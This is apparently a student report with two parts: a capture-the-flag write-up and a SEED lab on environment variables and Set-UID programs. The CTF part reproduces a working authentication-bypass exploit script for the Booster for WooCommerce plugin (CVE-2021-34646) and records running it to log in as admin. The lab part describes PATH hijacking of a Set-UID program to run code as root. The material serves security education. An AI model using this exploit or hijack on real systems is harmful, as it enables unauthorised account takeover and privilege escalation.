# CTF - Challenge 1 and 2 Report
- First, found on the website in the product "Additional information" that the software versions are:
- WordPress - 5.8.1
- WooCommerce plugin - 5.7.1
- Booster for WooCommerce plugin - 5.4.3
- And some users commenting are:
- admin
- Orval Sanford
- Then, searching for CVE's for all the softwares found this website with a CVE related to the Booster for WooCommerce plugin - 5.4.3:
https://www.exploit-db.com/exploits/50299
CVE-2021-34646
- Then in this same website found this code:

 # Exploit Title: WordPress Plugin WooCommerce Booster Plugin 5.4.3 - Authentication Bypass
# Date: 2021-09-16
# Exploit Author: Sebastian Kriesten (0xB455)
# Contact: https://twitter.com/0xB455
#
# Affected Plugin: Booster for WooCommerce
# Plugin Slug: woocommerce-jetpack
# Vulnerability disclosure: https://www.wordfence.com/blog/2021/08/critical=-authentication-bypass-vulnerability-patched-in-booster-for-woocommerce/
# Affected Versions: <= 5.4.3
# Fully Patched Version: >= 5.4.4
# CVE: CVE-2021-34646
# CVSS Score: 9.8 (Critical)
# Category: webapps
#
# 1:
# Goto: https://target.com/wp-json/wp/v2/users/
# Pick a user-ID (e.g. 1 - usualy is the admin)
#
# 2:
# Attack with: ./exploit_CVE-2021-34646.py https://target.com/ 1
#
# 3:
# Check-Out  out which of the generated links allows you to access the system
#
import requests, sys, hashlib
import argparse
import datetime
import email.utils
import calendar
import base64

B = "\033[94m"
W = "\033[97m"
R = "\033[91m"
RST = "\033[0;0m"

parser = argparse.ArgumentParser()
parser.add_argument("url", help="the base url")
parser.add_argument('id', type=int, help='the user id', default=1)
args = parser.parse_args()
id = str(args.id)
url = args.url
if args.url[-1] != "/":  # URL needs trailing /
    url = url + "/"

verify_url = url + "?wcj_user_id=" + id
r = requests.get(verify_url)

if r.status_code != 200:
    print("status code != 200")
    print(r.headers)
    sys.exit(-1)


def email_time_to_timestamp(s):
    tt = email.utils.parsedate_tz(s)
    if tt is None: return None
    return calendar.timegm(tt) - tt[9]


date = r.headers["Date"]
unix = email_time_to_timestamp(date)


def printBanner():
    print(f"{W}Timestamp: {B}" + date)
    print(f"{W}Timestamp (unix): {B}" + str(unix) + f"{W}\n")
    print("We need to generate multiple timestamps in order to avoid delay related timing errors")
    print("One of the following links will log you in...\n")


printBanner()

for i in range(
        3):  # We need to try multiple timestamps as we don't get the exact hash time and need to avoid delay related timing errors
    hash = hashlib.md5(str(unix - i).encode()).hexdigest()
    print(f"{W}#" + str(i) + f" link for hash {R}" + hash + f"{W}:")
    token = '{"id":"' + id + '","code":"' + hash + '"}'
    token = base64.b64encode(token.encode()).decode()
    token = token.rstrip("=")  # remove trailing =
    link = url + "my-account/?wcj_verify_email=" + token
    print(link + f"\n{RST}")

- After running the code with: `python main.py http://ctf-fsi.fe.up.pt:5001 1`
Being the first argument the link to the website, and the second one the admin id (default being id=1)
- After running the code it outputed the link `http://ctf-fsi.fe.up.pt:5001/my-account/?wcj_verify_email=eyJpZCI6IjEiLCJjb2RlIjoiMDJiZTQ2NDc5MzFmOGU1NTc5ODk3MzJkYWUxNmM4NWUifQ `
- That logged me onto the admin and then going to the link in the challenge I could open the page and find an email with the flag:
`flag{please don't bother me}`

<br>

# LAB: Environment_Variable_and_SetUID

## Task 1:
- Used ``` printenv``` and `env` to list all environment variables.
- Used ``` printenv PWD ``` to list environment variable of pwd, output: `/home/seed`, the current directory path, `env | grep PWD` list current path and previous path as the environment variable.
- Used `unset PWD` to remove PWD's environment variable, now `printenv PWD` no longer has an output.
- Used `PWD=/home/seed` and then`export PWD` to set the environment variable to the current directory path again, now the `printenv PWD` command has output again.

## Task 2:
- Ran myprintenv.c and saved the outputs of the child process to a 'output' file, and the output of the parent process to 'output2'.
- Used `diff -s output output2` to compare the outputs and got `Files output and output2 are identical`.
- As such, we determined that, when a process is forked, the child process is created with the same environment variables as the parent process.

## Task 3:
- Before running the program we see that `execve` is executing the `/usr/bin/env` program, with the last parameter set to null.
- When it is run we see no output.
- After swapping `NULL` to `environ` and running the program, we see the environment variables as output.
- Upon calling `man execve` we see the last parameter is `char *const envp[]`.
- We concluded that the enviroment variables are passed to the new program through this parameter, and when it is set to NULL, no variables are passed.
- As such, the environment variables are not inherited by the new program, they must, instead, be passed to it by the `envp[]` parameter.

## Task 4:
- After compiling and running the program we see the environment variables as the output.
- When we execute `man system` we see that it forks and runs `execl`.
- When we execute `man execl` we see that it gets the environment variables with `extern char **environ;`, therefore, it gets and passes the environment variables to the program it is calling.

## Task 5:
- First we compiled and set the program's ownership to root.
- We exported the PATH, LD_LIBRARY_PATH and a custom variable through the shell.
- After running the program and saving its output, we ran printenv and also saved its output.
- We then used diff to compare the outputs and realised they were the same. This leads us to believe that the system variables are inherited from the root to the user.

## Task 6:
- We created, compiled and set the Set-UID program's ownership to root.
- This program calls the system function with a relative path to `ls`. This means it will look for the `ls` program in the paths set in the PATH variable, by the order they appear in.
- As a user, we can add another directory to the begining of PATH, making it so that the system looks for the `ls` program in our directory.
- We than created a `ls` program of our own that simply prints a message. When we run our Set-UID program, instead of listing the files, it prints the message, thus running our potencially malicious code.
- To verify whether it runs with root privileges we changed out custom `ls` program to call `system("apt upgrade")`, which requires root permission.
- When we run our Set-UID program again, it asks for root permission, thus confirming that the malicious code doesn't run with root privileges.
- This is due to the fact that the system function calls the /bin/sh program, which is symbolicly linked to /bin/dash. This shell doesn't allow Set-UID programs to run with root privileges, instead changing their ownership to teh real user ID.
- However, when we link /bin/sh to /bin/zsh, another shell without the same protection feature as dash, and run out program, we see that it does run with root privileges.